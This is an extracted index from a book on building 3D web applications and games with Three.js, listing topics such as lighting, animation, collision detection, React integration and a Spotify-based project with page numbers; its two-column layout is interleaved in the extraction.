setting the tone for, 65–69
addBackgroundBit, 84
UI design for, 87–89
addChallengeRow, 84–86
gameplay logic, including, 74
Advantages of Three.js, 10
game project, configuring, 60–61
AES, 115
Garden’s Gate, pathway to, 108
ambientLight, 49, 175
algorithm, 108–109
Angular scene using Three.js, 177–178
cropping, 109–110
Animated objects, optimizing a large
meta security, 115
number of, 139–155
sharing, 109
Animation, 53, 107
symbol picking, 110–114
AnimationFrame, 96
infinite movement, 59–60
Anime.js, 117
input
Anti-aliasing, 128–129, 166
through keyboard, 74–75
appendChild method, 95
via touchscreen, 75–76
Application development, 57, 91, 103
objects in the scene that are moving, 76
building apps with Three.js, 58, 93, 104
addBackgroundBit, 84
code tutorial, 93
addChallengeRow, 84–86
initial HTML configuration, 93–94
detectCollisions, 78–83
installing and downloading, 93
render loop, final touches to, 86
3D scene, 94–96
sky, imagining, 69–70
business plan, importing, 100
Spotify, 115
code tutorial, 104
algorithm, 116
animation, 107
image generation, 116–117
background, 108
loader, 117–118
base, 105
Spotify’s top recent streamed tracks,
reconfigure, 107–108
119
skies, 106–107
algorithm, 119–120
creating a feeling of motion, 59
design and development of
development server, 96
components, 120–121
for Mac, 96
faith, loader of, 121–123
for Windows users, 96
faith, progress in, 123–125
drawing geometry and resizing the
getting a user’s favorite songs, 119
viewport, 96–99
leaderboard, 120
final scene planning, 70–74
187
188 ◾ Index
N R
NearestFilter, 47 Radial-gradient () CSS method, 108
Node.js, 27 React and Three.js, 171
Npm modules, 25–26 React-three-fiber, 171–172
to create3D ludo dice model, 172
Reasons to use Three.js?, 4
O
RectAreaLight, 51, 164
Object3D objects, 136 RectAreaLightHelper, 51
onBeforeCompile, 151 Remote server, 28–29
192 ◾ Index